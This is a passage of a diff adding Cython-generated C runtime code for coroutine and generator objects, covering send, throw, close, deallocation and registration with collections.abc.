*__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + 